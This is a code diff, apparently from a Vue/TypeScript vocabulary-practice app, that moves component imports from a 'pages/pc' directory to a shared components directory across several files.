import FormItem from "@/pages/pc/components/base/form/FormItem.vue";
import Form from "@/pages/pc/components/base/form/Form.vue";
import BaseInput from "@/components/base/BaseInput.vue";
import Textarea from "@/components/base/Textarea.vue";
import FormItem from "@/components/base/form/FormItem.vue";
import Form from "@/components/base/form/Form.vue";
import DeleteIcon from "@/components/icon/DeleteIcon.vue";
import {getCurrentStudyWord} from "@/hooks/dict.ts";
import PracticeSettingDialog from "@/pages/pc/word/components/PracticeSettingDialog.vue";
import PracticeSettingDialog from "@/pages/word/components/PracticeSettingDialog.vue";
import {useSettingStore} from "@/stores/setting.ts";
import {MessageBox} from "@/utils/MessageBox.tsx";
import {Origin} from "@/config/ENV.ts";

View File

@@ -1,15 +1,15 @@
<script setup lang="ts">
import {groupBy, useNav} from "@/utils";
import BasePage from "@/pages/pc/components/BasePage.vue";
import BasePage from "@/components/BasePage.vue";
import {DictResource} from "@/types/types.ts";
import {useRuntimeStore} from "@/stores/runtime.ts";
import BaseIcon from "@/components/BaseIcon.vue";
import Empty from "@/components/Empty.vue";
import Input from "@/pages/pc/components/Input.vue";
import Input from "@/components/Input.vue";
import BaseButton from "@/components/BaseButton.vue";
import DictList from "@/pages/pc/components/list/DictList.vue";
import BackIcon from "@/pages/pc/components/BackIcon.vue";
import DictGroup from "@/pages/pc/components/list/DictGroup.vue";
import DictList from "@/components/list/DictList.vue";
import BackIcon from "@/components/BackIcon.vue";
import DictGroup from "@/components/list/DictGroup.vue";
import {useBaseStore} from "@/stores/base.ts";
import {useRouter} from "vue-router";
import {computed} from "vue";

View File

@@ -2,7 +2,7 @@
import {onMounted, provide, watch} from "vue";
import Statistics from "@/pages/pc/word/Statistics.vue";
import Statistics from "@/pages/word/Statistics.vue";
import {emitter, EventKey, useEvents} from "@/utils/eventBus.ts";
import {useSettingStore} from "@/stores/setting.ts";
import {useRuntimeStore} from "@/stores/runtime.ts";
@@ -12,20 +12,20 @@ import useTheme from "@/hooks/theme.ts";
import {getCurrentStudyWord, useWordOptions} from "@/hooks/dict.ts";
import {_getDictDataByUrl, cloneDeep, shuffle} from "@/utils";
import {useRoute, useRouter} from "vue-router";
import Footer from "@/pages/pc/word/components/Footer.vue";
import Panel from "@/pages/pc/components/Panel.vue";
import Footer from "@/pages/word/components/Footer.vue";
import Panel from "@/components/Panel.vue";
import BaseIcon from "@/components/BaseIcon.vue";
import Tooltip from "@/pages/pc/components/base/Tooltip.vue";
import WordList from "@/pages/pc/components/list/WordList.vue";
import TypeWord from "@/pages/pc/word/components/TypeWord.vue";
import Tooltip from "@/components/base/Tooltip.vue";
import WordList from "@/components/list/WordList.vue";
import TypeWord from "@/pages/word/components/TypeWord.vue";
import Empty from "@/components/Empty.vue";
import {useBaseStore} from "@/stores/base.ts";
import {usePracticeStore} from "@/stores/practice.ts";
import Toast from '@/pages/pc/components/base/toast/Toast.ts'
import Toast from '@/components/base/toast/Toast.ts'
import {getDefaultDict, getDefaultWord} from "@/types/func.ts";
import ConflictNotice from "@/pages/pc/components/ConflictNotice.vue";
import ConflictNotice from "@/components/ConflictNotice.vue";
import dict_list from "@/assets/dict-list.json";
import PracticeLayout from "@/pages/pc/components/PracticeLayout.vue";
import PracticeLayout from "@/components/PracticeLayout.vue";
interface IProps {
new: Word[],

View File

@@ -9,7 +9,7 @@ import dayjs from "dayjs";
import isBetween from "dayjs/plugin/isBetween";
import {defineAsyncComponent, watch} from "vue";
const Dialog = defineAsyncComponent(() => import('@/pages/pc/components/dialog/Dialog.vue'))
const Dialog = defineAsyncComponent(() => import('@/components/dialog/Dialog.vue'))
dayjs.extend(isBetween);

View File

@@ -3,23 +3,23 @@ import {useBaseStore} from "@/stores/base.ts";
import {useRouter} from "vue-router";
import BaseIcon from "@/components/BaseIcon.vue";
import {_getAccomplishDate, _getDictDataByUrl, useNav} from "@/utils";
import BasePage from "@/pages/pc/components/BasePage.vue";
import BasePage from "@/components/BasePage.vue";
import {DictResource} from "@/types/types.ts";
import {watch} from "vue";
import {getCurrentStudyWord} from "@/hooks/dict.ts";
import {useRuntimeStore} from "@/stores/runtime.ts";
import Book from "@/pages/pc/components/Book.vue";
import PopConfirm from "@/pages/pc/components/PopConfirm.vue";
import Progress from '@/pages/pc/components/base/Progress.vue';
import Toast from '@/pages/pc/components/base/toast/Toast.ts';
import Book from "@/components/Book.vue";
import PopConfirm from "@/components/PopConfirm.vue";
import Progress from '@/components/base/Progress.vue';
import Toast from '@/components/base/toast/Toast.ts';
import BaseButton from "@/components/BaseButton.vue";
import {getDefaultDict} from "@/types/func.ts";
import DeleteIcon from "@/components/icon/DeleteIcon.vue";
import PracticeSettingDialog from "@/pages/pc/word/components/PracticeSettingDialog.vue";
import ChangeLastPracticeIndexDialog from "@/pages/pc/word/components/ChangeLastPracticeIndexDialog.vue";
import PracticeSettingDialog from "@/pages/word/components/PracticeSettingDialog.vue";
import ChangeLastPracticeIndexDialog from "@/pages/word/components/ChangeLastPracticeIndexDialog.vue";
import {useSettingStore} from "@/stores/setting.ts";
import recommendDictList from "@/assets/recommend-dict-list.json";
import CollectNotice from "@/pages/pc/components/CollectNotice.vue";
import CollectNotice from "@/components/CollectNotice.vue";
const store = useBaseStore()

View File

@@ -1,11 +1,11 @@
<script setup lang="ts">
import BaseTable from "@/pages/pc/components/BaseTable.vue";
import WordItem from "@/pages/pc/components/WordItem.vue";
import BaseTable from "@/components/BaseTable.vue";
import WordItem from "@/components/WordItem.vue";
import {useBaseStore} from "@/stores/base.ts";
import {defineAsyncComponent} from "vue";
const Dialog = defineAsyncComponent(() => import('@/pages/pc/components/dialog/Dialog.vue'))
const Dialog = defineAsyncComponent(() => import('@/components/dialog/Dialog.vue'))
const model = defineModel()
const store = useBaseStore()

View File

@@ -5,8 +5,8 @@ import {usePracticeStore} from "@/stores/practice.ts";
import {useSettingStore} from "@/stores/setting.ts";
import {ShortcutKey, StudyData} from "@/types/types.ts";
import BaseIcon from "@/components/BaseIcon.vue";
import Tooltip from "@/pages/pc/components/base/Tooltip.vue";
import Progress from '@/pages/pc/components/base/Progress.vue'
import Tooltip from "@/components/base/Tooltip.vue";
import Progress from '@/components/base/Progress.vue'
const statisticsStore = usePracticeStore()
const settingStore = useSettingStore()

View File

@@ -1,19 +1,19 @@
<script setup lang="ts">
import {_getAccomplishDays} from "@/utils";
import Radio from "@/pages/pc/components/base/radio/Radio.vue";
import RadioGroup from "@/pages/pc/components/base/radio/RadioGroup.vue";
import Radio from "@/components/base/radio/Radio.vue";
import RadioGroup from "@/components/base/radio/RadioGroup.vue";
import BaseButton from "@/components/BaseButton.vue";
import Checkbox from "@/pages/pc/components/base/checkbox/Checkbox.vue";
import Slider from "@/pages/pc/components/base/Slider.vue";
import Checkbox from "@/components/base/checkbox/Checkbox.vue";
import Slider from "@/components/base/Slider.vue";
import {useBaseStore} from "@/stores/base.ts";
import {defineAsyncComponent, watch} from "vue";
import {useSettingStore} from "@/stores/setting.ts";
import Toast from "@/pages/pc/components/base/toast/Toast.ts";
import ChangeLastPracticeIndexDialog from "@/pages/pc/word/components/ChangeLastPracticeIndexDialog.vue";
import Tooltip from "@/pages/pc/components/base/Tooltip.vue";
import Toast from "@/components/base/toast/Toast.ts";
import ChangeLastPracticeIndexDialog from "@/pages/word/components/ChangeLastPracticeIndexDialog.vue";
import Tooltip from "@/components/base/Tooltip.vue";
const Dialog = defineAsyncComponent(() => import('@/pages/pc/components/dialog/Dialog.vue'))
const Dialog = defineAsyncComponent(() => import('@/components/dialog/Dialog.vue'))
const store = useBaseStore()
const settings = useSettingStore()

View File

@@ -5,8 +5,8 @@ import {useSettingStore} from "@/stores/setting.ts";
import {usePlayBeep, usePlayCorrect, usePlayKeyboardAudio, usePlayWordAudio, useTTsPlayAudio} from "@/hooks/sound.ts";
import {emitter, EventKey} from "@/utils/eventBus.ts";
import {nextTick, onMounted, onUnmounted, watch} from "vue";
import Tooltip from "@/pages/pc/components/base/Tooltip.vue";
import SentenceHightLightWord from "@/pages/pc/word/components/SentenceHightLightWord.vue";
import Tooltip from "@/components/base/Tooltip.vue";
import SentenceHightLightWord from "@/pages/word/components/SentenceHightLightWord.vue";
import {usePracticeStore} from "@/stores/practice.ts";
import {getDefaultWord} from "@/types/func.ts";
import {sleep} from "@/utils";